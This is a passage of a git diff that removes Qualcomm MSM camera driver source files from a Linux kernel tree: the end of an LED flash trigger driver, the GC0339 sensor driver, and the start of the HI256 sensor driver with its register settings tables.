0, rc_1 = 0, i = 0; - struct device_node *of_node = pdev->dev.of_node; - struct device_node *flash_src_node = NULL; - uint32_t count = 0; - struct led_trigger *temp = NULL; - - CDBG("called\n"); - - if (!of_node) { - pr_err("of_node NULL\n"); - return -EINVAL; - } - - fctrl.pdev = pdev; - fctrl.num_sources = 0; - - rc = of_property_read_u32(of_node, "cell-index", &pdev->id); - if (rc < 0) { - pr_err("failed\n"); - return -EINVAL; - } - CDBG("pdev id %d\n", pdev->id); - - rc = of_property_read_u32(of_node, - "qcom,flash-type", &flashtype); - if (rc < 0) { - pr_err("flash-type: read failed\n"); - return -EINVAL; - } - - if (of_get_property(of_node, "qcom,flash-source", &count)) { - count /= sizeof(uint32_t); - CDBG("count %d\n", count); - if (count > MAX_LED_TRIGGERS) { - pr_err("invalid count\n"); - return -EINVAL; - } - fctrl.num_sources = count; - for (i = 0; i < count; i++) { - flash_src_node = of_parse_phandle(of_node, - "qcom,flash-source", i); - if (!flash_src_node) { - pr_err("flash_src_node NULL\n"); - continue; - } - - rc = of_property_read_string(flash_src_node, - "linux,default-trigger", - &fctrl.flash_trigger_name[i]); - if (rc < 0) { - pr_err("default-trigger: read failed\n"); - of_node_put(flash_src_node); - continue; - } - - CDBG("default trigger %s\n", - fctrl.flash_trigger_name[i]); - - if (flashtype == GPIO_FLASH) { - /* use fake current */ - fctrl.flash_op_current[i] = LED_FULL; - } else { - rc = of_property_read_u32(flash_src_node, - "qcom,current", - &fctrl.flash_op_current[i]); - rc_1 = of_property_read_u32(flash_src_node, - "qcom,max-current", - &fctrl.flash_max_current[i]); - if ((rc < 0) || (rc_1 < 0)) { - pr_err("current: read failed\n"); - of_node_put(flash_src_node); - continue; - } - } - - of_node_put(flash_src_node); - - CDBG("max_current[%d] %d\n", - i, fctrl.flash_op_current[i]); - - led_trigger_register_simple(fctrl.flash_trigger_name[i], - &fctrl.flash_trigger[i]); - - if (flashtype == GPIO_FLASH) - if (fctrl.flash_trigger[i]) - temp = fctrl.flash_trigger[i]; - } - - /* Torch source */ - flash_src_node = of_parse_phandle(of_node, "qcom,torch-source", - 0); - if (flash_src_node) { - rc = of_property_read_string(flash_src_node, - "linux,default-trigger", - &fctrl.torch_trigger_name); - if (rc < 0) { - pr_err("default-trigger: read failed\n"); - goto torch_failed; - } - - CDBG("default trigger %s\n", - fctrl.torch_trigger_name); - - if (flashtype == GPIO_FLASH) { - /* use fake current */ - fctrl.torch_op_current = LED_HALF; - if (temp) - fctrl.torch_trigger = temp; - else - led_trigger_register_simple( - fctrl.torch_trigger_name, - &fctrl.torch_trigger); - } else { - rc = of_property_read_u32(flash_src_node, - "qcom,current", - &fctrl.torch_op_current); - rc_1 = of_property_read_u32(flash_src_node, - "qcom,max-current", - &fctrl.torch_max_current); - - if ((rc < 0) || (rc_1 < 0)) { - pr_err("current: read failed\n"); - goto torch_failed; - } - - CDBG("torch max_current %d\n", - fctrl.torch_op_current); - - led_trigger_register_simple( - fctrl.torch_trigger_name, - &fctrl.torch_trigger); - } -torch_failed: - of_node_put(flash_src_node); - } - } - - rc = msm_led_flash_create_v4lsubdev(pdev, &fctrl); - if (!rc) - msm_led_torch_create_classdev(pdev, &fctrl); - - return rc; -} - -static int __init msm_led_trigger_add_driver(void) -{ - CDBG("called\n"); - return platform_driver_probe(&msm_led_trigger_driver, - msm_led_trigger_probe); -} - -static struct msm_flash_fn_t msm_led_trigger_func_tbl = { - .flash_get_subdev_id = msm_led_trigger_get_subdev_id, - .flash_led_config = msm_led_trigger_config, -}; - -static struct msm_led_flash_ctrl_t fctrl = { - .func_tbl = &msm_led_trigger_func_tbl, -}; - -module_init(msm_led_trigger_add_driver); -MODULE_DESCRIPTION("LED TRIGGER FLASH"); -MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/gc0339.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/gc0339.c deleted file mode 100644 index bada8365fc4c3..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/gc0339.c +++ /dev/null @@ -1,704 +0,0 @@ -/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - */ -#include -#include "msm_sensor.h" -#include "msm_cci.h" -#include "msm_camera_io_util.h" -#include "msm_camera_i2c_mux.h" - - -#define GC0339_SENSOR_NAME "gc0339" -DEFINE_MSM_MUTEX(gc0339_mut); - -#undef CDBG -#ifdef CONFIG_MSMB_CAMERA_DEBUG -#define CDBG(fmt, args...) pr_err(fmt, ##args) -#else -#define CDBG(fmt, args...) do { } while (0) -#endif - - -static struct msm_sensor_ctrl_t gc0339_s_ctrl; - -static struct msm_sensor_power_setting gc0339_power_setting[] = { - - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_RESET, - .config_val = GPIO_OUT_LOW, - .delay = 0, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_STANDBY, - .config_val = GPIO_OUT_HIGH, - .delay = 0, - }, - { - .seq_type = SENSOR_VREG, - .seq_val = CAM_VIO, - .config_val = 0, - .delay = 0, - }, - { - .seq_type = SENSOR_VREG, - .seq_val = CAM_VDIG, - .config_val = 0, - .delay = 0, - }, - { - .seq_type = SENSOR_VREG, - .seq_val = CAM_VANA, - .config_val = 0, - .delay = 0, - }, - { - .seq_type = SENSOR_CLK, - .seq_val = SENSOR_CAM_MCLK, - .config_val = 24000000, - .delay = 5, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_STANDBY, - .config_val = GPIO_OUT_LOW, - .delay = 0, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_RESET, - .config_val = GPIO_OUT_HIGH, - .delay = 1, - }, -}; - -static struct v4l2_subdev_info gc0339_subdev_info[] = { - { - .code = V4L2_MBUS_FMT_SBGGR10_1X10, - .colorspace = V4L2_COLORSPACE_JPEG, - .fmt = 1, - .order = 0, - }, -}; - -static int32_t msm_gc0339_i2c_probe(struct i2c_client *client, - const struct i2c_device_id *id) -{ - return msm_sensor_i2c_probe(client, id, &gc0339_s_ctrl); -} - -static const struct i2c_device_id gc0339_i2c_id[] = { - {GC0339_SENSOR_NAME, (kernel_ulong_t)&gc0339_s_ctrl}, - { } -}; - -static struct i2c_driver gc0339_i2c_driver = { - .id_table = gc0339_i2c_id, - .probe = msm_gc0339_i2c_probe, - .driver = { - .name = GC0339_SENSOR_NAME, - }, -}; - -static struct msm_camera_i2c_client gc0339_sensor_i2c_client = { - .addr_type = MSM_CAMERA_I2C_BYTE_ADDR, -}; - -int32_t gc0339_power_up(struct msm_sensor_ctrl_t *s_ctrl) -{ - int32_t rc = 0, index = 0; - struct msm_sensor_power_setting_array *power_setting_array = NULL; - struct msm_sensor_power_setting *power_setting = NULL; - struct msm_camera_sensor_board_info *data = s_ctrl->sensordata; - struct msm_camera_power_ctrl_t *power_info = &data->power_info; - struct msm_camera_gpio_conf *gpio_conf = power_info->gpio_conf; - - CDBG("%s:%d\n", __func__, __LINE__); - power_setting_array = &s_ctrl->power_setting_array; - - if (gpio_conf->cam_gpiomux_conf_tbl != NULL) { - pr_err("%s:%d mux install\n", __func__, __LINE__); - msm_gpiomux_install( - (struct msm_gpiomux_config *) - gpio_conf->cam_gpiomux_conf_tbl, - gpio_conf->cam_gpiomux_conf_tbl_size); - } - - rc = msm_camera_request_gpio_table( - gpio_conf->cam_gpio_req_tbl, - gpio_conf->cam_gpio_req_tbl_size, 1); - if (rc < 0) { - pr_err("%s: request gpio failed\n", __func__); - return rc; - } - for (index = 0; index < power_setting_array->size; index++) { - CDBG("%s index %d\n", __func__, index); - power_setting = &power_setting_array->power_setting[index]; - CDBG("%s type %d\n", __func__, power_setting->seq_type); - switch (power_setting->seq_type) { - case SENSOR_CLK: - if (power_setting->seq_val >= - power_info->clk_info_size) { - pr_err("%s clk index %d >= max %d\n", __func__, - power_setting->seq_val, - power_info->clk_info_size); - goto power_up_failed; - } - if (power_setting->config_val) - power_info->clk_info[power_setting->seq_val]. - clk_rate = power_setting->config_val; - - rc = msm_cam_clk_enable(power_info->dev, - &power_info->clk_info[0], - (struct clk **)&power_setting->data[0], - power_info->clk_info_size, - 1); - if (rc < 0) { - pr_err("%s: clk enable failed\n", - __func__); - goto power_up_failed; - } - break; - case SENSOR_GPIO: - if (power_setting->seq_val >= SENSOR_GPIO_MAX || - !gpio_conf->gpio_num_info) { - pr_err("%s gpio index %d >= max %d\n", __func__, - power_setting->seq_val, - SENSOR_GPIO_MAX); - goto power_up_failed; - } - pr_debug("%s:%d gpio set val %d\n", __func__, __LINE__, - gpio_conf->gpio_num_info->gpio_num - [power_setting->seq_val]); - if (gpio_conf->gpio_num_info->gpio_num - [power_setting->seq_val]) - gpio_set_value_cansleep( - gpio_conf->gpio_num_info->gpio_num - [power_setting->seq_val], - power_setting->config_val); - break; - case SENSOR_VREG: - if (power_setting->seq_val >= CAM_VREG_MAX) { - pr_err("%s vreg index %d >= max %d\n", __func__, - power_setting->seq_val, - SENSOR_GPIO_MAX); - goto power_up_failed; - } - msm_camera_config_single_vreg(power_info->dev, - &power_info->cam_vreg[power_setting->seq_val], - (struct regulator **)&power_setting->data[0], - 1); - break; - default: - pr_err("%s error power seq type %d\n", __func__, - power_setting->seq_type); - break; - } - if (power_setting->delay > 20) { - msleep(power_setting->delay); - } else if (power_setting->delay) { - usleep_range(power_setting->delay * 1000, - (power_setting->delay * 1000) + 1000); - } - } - - if (s_ctrl->sensor_device_type == MSM_CAMERA_PLATFORM_DEVICE) { - rc = s_ctrl->sensor_i2c_client->i2c_func_tbl->i2c_util( - s_ctrl->sensor_i2c_client, MSM_CCI_INIT); - if (rc < 0) { - pr_err("%s cci_init failed\n", __func__); - goto power_up_failed; - } - } - - s_ctrl->sensor_i2c_client->i2c_func_tbl->i2c_write( - s_ctrl->sensor_i2c_client, - 0xfc, - 0x10, MSM_CAMERA_I2C_BYTE_DATA); - - if (s_ctrl->func_tbl->sensor_match_id) - rc = s_ctrl->func_tbl->sensor_match_id(s_ctrl); - else - rc = msm_sensor_match_id(s_ctrl); - if (rc < 0) { - pr_err("%s:%d match id failed rc %d\n", __func__, __LINE__, rc); - goto power_up_failed; - } - - CDBG("%s exit\n", __func__); - return 0; -power_up_failed: - pr_err("%s:%d failed\n", __func__, __LINE__); - if (s_ctrl->sensor_device_type == MSM_CAMERA_PLATFORM_DEVICE) { - s_ctrl->sensor_i2c_client->i2c_func_tbl->i2c_util( - s_ctrl->sensor_i2c_client, MSM_CCI_RELEASE); - } - - for (index--; index >= 0; index--) { - CDBG("%s index %d\n", __func__, index); - power_setting = &power_setting_array->power_setting[index]; - CDBG("%s type %d\n", __func__, power_setting->seq_type); - switch (power_setting->seq_type) { - case SENSOR_CLK: - msm_cam_clk_enable(power_info->dev, - &power_info->clk_info[0], - (struct clk **)&power_setting->data[0], - power_info->clk_info_size, - 0); - break; - case SENSOR_GPIO: - if (gpio_conf->gpio_num_info->gpio_num - [power_setting->seq_val]) - gpio_set_value_cansleep( - gpio_conf->gpio_num_info->gpio_num - [power_setting->seq_val], - GPIOF_OUT_INIT_LOW); - break; - case SENSOR_VREG: - msm_camera_config_single_vreg(power_info->dev, - &power_info->cam_vreg[power_setting->seq_val], - (struct regulator **)&power_setting->data[0], - 0); - break; - default: - pr_err("%s error power seq type %d\n", __func__, - power_setting->seq_type); - break; - } - if (power_setting->delay > 20) { - msleep(power_setting->delay); - } else if (power_setting->delay) { - usleep_range(power_setting->delay * 1000, - (power_setting->delay * 1000) + 1000); - } - } - msm_camera_request_gpio_table( - gpio_conf->cam_gpio_req_tbl, - gpio_conf->cam_gpio_req_tbl_size, 0); - return rc; -} - -int32_t gc0339_power_down(struct msm_sensor_ctrl_t *s_ctrl) -{ - int32_t index = 0; - struct msm_sensor_power_setting_array *power_setting_array = NULL; - struct msm_sensor_power_setting *power_setting = NULL; - struct msm_camera_sensor_board_info *data = s_ctrl->sensordata; - struct msm_camera_power_ctrl_t *power_info = &data->power_info; - struct msm_camera_gpio_conf *gpio_conf = power_info->gpio_conf; - - CDBG("%s:%d\n", __func__, __LINE__); - power_setting_array = &s_ctrl->power_setting_array; - - if (s_ctrl->sensor_device_type == MSM_CAMERA_PLATFORM_DEVICE) { - s_ctrl->sensor_i2c_client->i2c_func_tbl->i2c_util( - s_ctrl->sensor_i2c_client, MSM_CCI_RELEASE); - } - - s_ctrl->sensor_i2c_client->i2c_func_tbl->i2c_write( - s_ctrl->sensor_i2c_client, - 0xfc, - 0x01, MSM_CAMERA_I2C_BYTE_DATA); - - for (index = (power_setting_array->size - 1); index >= 0; index--) { - CDBG("%s index %d\n", __func__, index); - power_setting = &power_setting_array->power_setting[index]; - CDBG("%s type %d\n", __func__, power_setting->seq_type); - switch (power_setting->seq_type) { - case SENSOR_CLK: - msm_cam_clk_enable(power_info->dev, - &power_info->clk_info[0], - (struct clk **)&power_setting->data[0], - power_info->clk_info_size, - 0); - break; - case SENSOR_GPIO: - if (power_setting->seq_val >= SENSOR_GPIO_MAX || - !gpio_conf->gpio_num_info) { - pr_err("%s gpio index %d >= max %d\n", __func__, - power_setting->seq_val, - SENSOR_GPIO_MAX); - continue; - } - if (gpio_conf->gpio_num_info->gpio_num - [power_setting->seq_val]) - gpio_set_value_cansleep( - gpio_conf->gpio_num_info->gpio_num - [power_setting->seq_val], - GPIOF_OUT_INIT_LOW); - break; - case SENSOR_VREG: - if (power_setting->seq_val >= CAM_VREG_MAX) { - pr_err("%s vreg index %d >= max %d\n", __func__, - power_setting->seq_val, - SENSOR_GPIO_MAX); - continue; - } - msm_camera_config_single_vreg(power_info->dev, - &power_info->cam_vreg[power_setting->seq_val], - (struct regulator **)&power_setting->data[0], - 0); - break; - default: - pr_err("%s error power seq type %d\n", __func__, - power_setting->seq_type); - break; - } - if (power_setting->delay > 20) { - msleep(power_setting->delay); - } else if (power_setting->delay) { - usleep_range(power_setting->delay * 1000, - (power_setting->delay * 1000) + 1000); - } - } - msm_camera_request_gpio_table( - gpio_conf->cam_gpio_req_tbl, - gpio_conf->cam_gpio_req_tbl_size, 0); - CDBG("%s exit\n", __func__); - return 0; -} - -int32_t gc0339_match_id(struct msm_sensor_ctrl_t *s_ctrl) -{ - int32_t rc = 0; - uint16_t chipid = 0; - - rc = s_ctrl->sensor_i2c_client->i2c_func_tbl->i2c_read( - s_ctrl->sensor_i2c_client, - s_ctrl->sensordata->slave_info->sensor_id_reg_addr, - &chipid, MSM_CAMERA_I2C_BYTE_DATA); - if (rc < 0) { - pr_err("%s: %s: read id failed\n", __func__, - s_ctrl->sensordata->sensor_name); - return rc; - } - - if (chipid != s_ctrl->sensordata->slave_info->sensor_id) { - pr_err("msm_sensor_match_id chip id doesnot match\n"); - return -ENODEV; - } - return rc; -} - -int32_t gc0339_config(struct msm_sensor_ctrl_t *s_ctrl, - void __user *argp) -{ - struct sensorb_cfg_data *cdata = (struct sensorb_cfg_data *)argp; - int32_t rc = 0; - int32_t i = 0; - mutex_lock(s_ctrl->msm_sensor_mutex); - switch (cdata->cfgtype) { - case CFG_GET_SENSOR_INFO: - memcpy(cdata->cfg.sensor_info.sensor_name, - s_ctrl->sensordata->sensor_name, - sizeof(cdata->cfg.sensor_info.sensor_name)); - cdata->cfg.sensor_info.session_id = - s_ctrl->sensordata->sensor_info->session_id; - for (i = 0; i < SUB_MODULE_MAX; i++) - cdata->cfg.sensor_info.subdev_id[i] = - s_ctrl->sensordata->sensor_info->subdev_id[i]; - cdata->cfg.sensor_info.is_mount_angle_valid = - s_ctrl->sensordata->sensor_info->is_mount_angle_valid; - cdata->cfg.sensor_info.sensor_mount_angle = - s_ctrl->sensordata->sensor_info->sensor_mount_angle; - CDBG("%s:%d sensor name %s\n", __func__, __LINE__, - cdata->cfg.sensor_info.sensor_name); - CDBG("%s:%d session id %d\n", __func__, __LINE__, - cdata->cfg.sensor_info.session_id); - for (i = 0; i < SUB_MODULE_MAX; i++) - CDBG("%s:%d subdev_id[%d] %d\n", __func__, __LINE__, i, - cdata->cfg.sensor_info.subdev_id[i]); - CDBG("%s:%d mount angle valid %d value %d\n", __func__, - __LINE__, cdata->cfg.sensor_info.is_mount_angle_valid, - cdata->cfg.sensor_info.sensor_mount_angle); - - break; - case CFG_GET_SENSOR_INIT_PARAMS: - cdata->cfg.sensor_init_params.modes_supported = - s_ctrl->sensordata->sensor_info->modes_supported; - cdata->cfg.sensor_init_params.position = - s_ctrl->sensordata->sensor_info->position; - cdata->cfg.sensor_init_params.sensor_mount_angle = - s_ctrl->sensordata->sensor_info->sensor_mount_angle; - CDBG("%s:%d init params mode %d pos %d mount %d\n", __func__, - __LINE__, - cdata->cfg.sensor_init_params.modes_supported, - cdata->cfg.sensor_init_params.position, - cdata->cfg.sensor_init_params.sensor_mount_angle); - break; - case CFG_SET_SLAVE_INFO: { - struct msm_camera_sensor_slave_info sensor_slave_info; - struct msm_sensor_power_setting_array *power_setting_array; - int slave_index = 0; - if (copy_from_user(&sensor_slave_info, - (void *)cdata->cfg.setting, - sizeof(struct msm_camera_sensor_slave_info))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -EFAULT; - break; - } - /* Update sensor slave address */ - if (sensor_slave_info.slave_addr) { - s_ctrl->sensor_i2c_client->cci_client->sid = - sensor_slave_info.slave_addr >> 1; - } - - /* Update sensor address type */ - s_ctrl->sensor_i2c_client->addr_type = - sensor_slave_info.addr_type; - - /* Update power up / down sequence */ - s_ctrl->power_setting_array = - sensor_slave_info.power_setting_array; - power_setting_array = &s_ctrl->power_setting_array; - power_setting_array->power_setting = kzalloc( - power_setting_array->size * - sizeof(struct msm_sensor_power_setting), GFP_KERNEL); - if (!power_setting_array->power_setting) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -ENOMEM; - break; - } - if (copy_from_user(power_setting_array->power_setting, - (void *) - sensor_slave_info.power_setting_array.power_setting, - power_setting_array->size * - sizeof(struct msm_sensor_power_setting))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -EFAULT; - break; - } - CDBG("%s sensor id 0x%x\n", __func__, - sensor_slave_info.slave_addr); - CDBG("%s sensor addr type %d\n", __func__, - sensor_slave_info.addr_type); - CDBG("%s sensor reg 0x%x\n", __func__, - sensor_slave_info.sensor_id_info.sensor_id_reg_addr); - CDBG("%s sensor id 0x%x\n", __func__, - sensor_slave_info.sensor_id_info.sensor_id); - for (slave_index = 0; slave_index < - power_setting_array->size; slave_index++) { - CDBG("%s i %d power setting %d %d %ld %d\n", __func__, - slave_index, - power_setting_array->power_setting[slave_index]. - seq_type, - power_setting_array->power_setting[slave_index]. - seq_val, - power_setting_array->power_setting[slave_index]. - config_val, - power_setting_array->power_setting[slave_index]. - delay); - } - break; - } - case CFG_WRITE_I2C_ARRAY: { - struct msm_camera_i2c_reg_setting conf_array; - struct msm_camera_i2c_reg_array *reg_setting = NULL; - - if (copy_from_user(&conf_array, - (void *)cdata->cfg.setting, - sizeof(struct msm_camera_i2c_reg_setting))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -EFAULT; - break; - } - - if (conf_array.addr_type == MSM_CAMERA_I2C_WORD_ADDR - || conf_array.data_type == MSM_CAMERA_I2C_WORD_DATA - || !conf_array.size) - break; - - reg_setting = kzalloc(conf_array.size * - (sizeof(struct msm_camera_i2c_reg_array)), GFP_KERNEL); - if (!reg_setting) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -ENOMEM; - break; - } - if (copy_from_user(reg_setting, (void *)conf_array.reg_setting, - conf_array.size * - sizeof(struct msm_camera_i2c_reg_array))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - kfree(reg_setting); - rc = -EFAULT; - break; - } - - conf_array.reg_setting = reg_setting; - rc = s_ctrl->sensor_i2c_client->i2c_func_tbl->i2c_write_table( - s_ctrl->sensor_i2c_client, &conf_array); - kfree(reg_setting); - break; - } - case CFG_WRITE_I2C_SEQ_ARRAY: { - struct msm_camera_i2c_seq_reg_setting conf_array; - struct msm_camera_i2c_seq_reg_array *reg_setting = NULL; - - if (copy_from_user(&conf_array, - (void *)cdata->cfg.setting, - sizeof(struct msm_camera_i2c_seq_reg_setting))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -EFAULT; - break; - } - - reg_setting = kzalloc(conf_array.size * - (sizeof(struct msm_camera_i2c_seq_reg_array)), - GFP_KERNEL); - if (!reg_setting) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -ENOMEM; - break; - } - if (copy_from_user(reg_setting, (void *)conf_array.reg_setting, - conf_array.size * - sizeof(struct msm_camera_i2c_seq_reg_array))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - kfree(reg_setting); - rc = -EFAULT; - break; - } - - conf_array.reg_setting = reg_setting; - rc = s_ctrl->sensor_i2c_client->i2c_func_tbl-> - i2c_write_seq_table(s_ctrl->sensor_i2c_client, - &conf_array); - kfree(reg_setting); - break; - } - - case CFG_POWER_UP: - if (s_ctrl->func_tbl->sensor_power_up) - rc = s_ctrl->func_tbl->sensor_power_up(s_ctrl); - else - rc = -EFAULT; - break; - - case CFG_POWER_DOWN: - if (s_ctrl->func_tbl->sensor_power_down) - rc = s_ctrl->func_tbl->sensor_power_down( - s_ctrl); - else - rc = -EFAULT; - break; - - case CFG_SET_STOP_STREAM_SETTING: { - struct msm_camera_i2c_reg_setting *stop_setting = - &s_ctrl->stop_setting; - struct msm_camera_i2c_reg_array *reg_setting = NULL; - if (copy_from_user(stop_setting, - (void *)cdata->cfg.setting, - sizeof(struct msm_camera_i2c_reg_setting))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -EFAULT; - break; - } - - reg_setting = stop_setting->reg_setting; - stop_setting->reg_setting = kzalloc(stop_setting->size * - (sizeof(struct msm_camera_i2c_reg_array)), GFP_KERNEL); - if (!stop_setting->reg_setting) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -ENOMEM; - break; - } - if (copy_from_user(stop_setting->reg_setting, - (void *)reg_setting, - stop_setting->size * - sizeof(struct msm_camera_i2c_reg_array))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - kfree(stop_setting->reg_setting); - stop_setting->reg_setting = NULL; - stop_setting->size = 0; - rc = -EFAULT; - break; - } - break; - } - default: - rc = -EFAULT; - break; - } - - mutex_unlock(s_ctrl->msm_sensor_mutex); - return rc; -} - -static struct msm_sensor_fn_t gc0339_sensor_fn_t = { - .sensor_power_up = gc0339_power_up, - .sensor_power_down = gc0339_power_down, - .sensor_match_id = gc0339_match_id, - .sensor_config = gc0339_config, -}; - - -static struct msm_sensor_ctrl_t gc0339_s_ctrl = { - .sensor_i2c_client = &gc0339_sensor_i2c_client, - .power_setting_array.power_setting = gc0339_power_setting, - .power_setting_array.size = ARRAY_SIZE(gc0339_power_setting), - .msm_sensor_mutex = &gc0339_mut, - .sensor_v4l2_subdev_info = gc0339_subdev_info, - .sensor_v4l2_subdev_info_size = ARRAY_SIZE(gc0339_subdev_info), - .func_tbl = &gc0339_sensor_fn_t, -}; - -static const struct of_device_id gc0339_dt_match[] = { - {.compatible = "shinetech,gc0339", .data = &gc0339_s_ctrl}, - {} -}; - -MODULE_DEVICE_TABLE(of, gc0339_dt_match); - -static struct platform_driver gc0339_platform_driver = { - .driver = { - .name = "shinetech,gc0339", - .owner = THIS_MODULE, - .of_match_table = gc0339_dt_match, - }, -}; - -static int32_t gc0339_platform_probe(struct platform_device *pdev) -{ - int32_t rc = 0; - const struct of_device_id *match; - - match = of_match_device(gc0339_dt_match, &pdev->dev); - rc = msm_sensor_platform_probe(pdev, match->data); - return rc; -} - -static int __init gc0339_init_module(void) -{ - int32_t rc = 0; - - rc = platform_driver_probe(&gc0339_platform_driver, - gc0339_platform_probe); - if (!rc) - return rc; - return i2c_add_driver(&gc0339_i2c_driver); -} - -static void __exit gc0339_exit_module(void) -{ - if (gc0339_s_ctrl.pdev) { - msm_sensor_free_sensor_data(&gc0339_s_ctrl); - platform_driver_unregister(&gc0339_platform_driver); - } else - i2c_del_driver(&gc0339_i2c_driver); - return; -} - -module_init(gc0339_init_module); -module_exit(gc0339_exit_module); -MODULE_DESCRIPTION("gc0339"); -MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/hi256.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/hi256.c deleted file mode 100644 index e61f57a3927d3..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/hi256.c +++ /dev/null @@ -1,2157 +0,0 @@ -/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - */ -#include "msm_sensor.h" -#include "msm_cci.h" -#include "msm_camera_io_util.h" -#define HI256_SENSOR_NAME "hi256" -#define PLATFORM_DRIVER_NAME "msm_camera_hi256" - -#define CONFIG_MSMB_CAMERA_DEBUG -#undef CDBG -#ifdef CONFIG_MSMB_CAMERA_DEBUG -#define CDBG(fmt, args...) pr_err(fmt, ##args) -#else -#define CDBG(fmt, args...) do { } while (0) -#endif - - -DEFINE_MSM_MUTEX(hi256_mut); -static struct msm_sensor_ctrl_t hi256_s_ctrl; - -static struct msm_sensor_power_setting hi256_power_setting[] = { - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_STANDBY, - .config_val = GPIO_OUT_LOW, - .delay = 0, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_STANDBY, - .config_val = GPIO_OUT_HIGH, - .delay = 0, - }, - { - .seq_type = SENSOR_VREG, - .seq_val = CAM_VIO, - .config_val = 0, - .delay = 0, - }, - { - .seq_type = SENSOR_VREG, - .seq_val = CAM_VANA, - .config_val = 0, - .delay = 0, - }, - { - .seq_type = SENSOR_VREG, - .seq_val = CAM_VDIG, - .config_val = 0, - .delay = 0, - }, - { - .seq_type = SENSOR_CLK, - .seq_val = SENSOR_CAM_MCLK, - .config_val = 24000000, - .delay = 5, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_STANDBY, - .config_val = GPIO_OUT_LOW, - .delay = 0, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_RESET, - .config_val = GPIO_OUT_LOW, - .delay = 10, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_RESET, - .config_val = GPIO_OUT_HIGH, - .delay = 1, - }, - { - .seq_type = SENSOR_I2C_MUX, - .seq_val = 0, - .config_val = 0, - .delay = 0, - }, -}; - -static struct msm_camera_i2c_reg_conf hi256_uxga_settings[] = { - {0x03, 0x00}, - {0x01, 0xf1}, - {0x03, 0x20}, - {0x10, 0x1c}, - {0x03, 0x22}, - {0x10, 0x69}, - {0x03, 0x00}, - {0x12, 0x00}, - {0x20, 0x00}, - {0x21, 0x0a}, - {0x22, 0x00}, - {0x23, 0x0a}, - {0x40, 0x01}, - {0x41, 0x68}, - {0x42, 0x00}, - {0x43, 0x12}, - {0x03, 0x10}, - {0x3f, 0x00}, - {0x03, 0x12}, - {0x20, 0x0f}, - {0x21, 0x0f}, - {0x90, 0x5d}, - {0x03, 0x13}, - {0x80, 0xfd}, - {0x03, 0x00}, - {0x10, 0x00}, - {0x03, 0x48}, - {0x72, 0x81}, - {0x30, 0x0c}, - {0x31, 0x80}, - {0x03, 0x00}, - {0x01, 0xf0}, -}; - -static struct msm_camera_i2c_reg_conf hi256_start_settings[] = { - {0x03, 0x00}, - {0x01, 0xf0}, -}; - -static struct msm_camera_i2c_reg_conf hi256_stop_settings[] = { - {0x03, 0x00}, - {0x01, 0xf1}, -}; - -static struct msm_camera_i2c_reg_conf hi256_recommend_settings[] = { - {0x01, 0xf1}, - {0x01, 0xf3}, - {0x01, 0xf1}, - - {0x08, 0x0f}, - {0x0a, 0x00}, - - {0x03, 0x20}, - {0x10, 0x1c}, - {0x03, 0x22}, - {0x10, 0x69}, - - {0x03, 0x00}, - {0x10, 0x13}, - {0x11, 0x90}, /* no H/V flip */ - {0x12, 0x00}, - {0x0b, 0xaa}, - {0x0c, 0xaa}, - {0x0d, 0xaa}, - {0x20, 0x00}, - {0x21, 0x06}, - {0x22, 0x00}, - {0x23, 0x05}, - {0x24, 0x04}, - {0x25, 0xb0}, - {0x26, 0x06}, - {0x27, 0x40}, - {0x40, 0x01}, - {0x41, 0x78}, - {0x42, 0x00}, - {0x43, 0x14}, - {0x45, 0x04}, - {0x46, 0x18}, - {0x47, 0xd8}, - {0x80, 0x2e}, - {0x81, 0x7e}, - {0x82, 0x90}, - {0x83, 0x00}, - {0x84, 0x0c}, - {0x85, 0x00}, - {0x90, 0x0c}, - {0x91, 0x0c}, - {0x92, 0x78}, - {0x93, 0x70}, - {0x94, 0xff}, - {0x95, 0xff}, - {0x96, 0xdc}, - {0x97, 0xfe}, - {0x98, 0x38}, - {0xa0, 0x45}, - {0xa2, 0x45}, - {0xa4, 0x45}, - {0xa6, 0x45}, - {0xa8, 0x45}, - {0xaa, 0x45}, - {0xac, 0x45}, - {0xae, 0x45}, - {0x99, 0x43}, - {0x9a, 0x43}, - 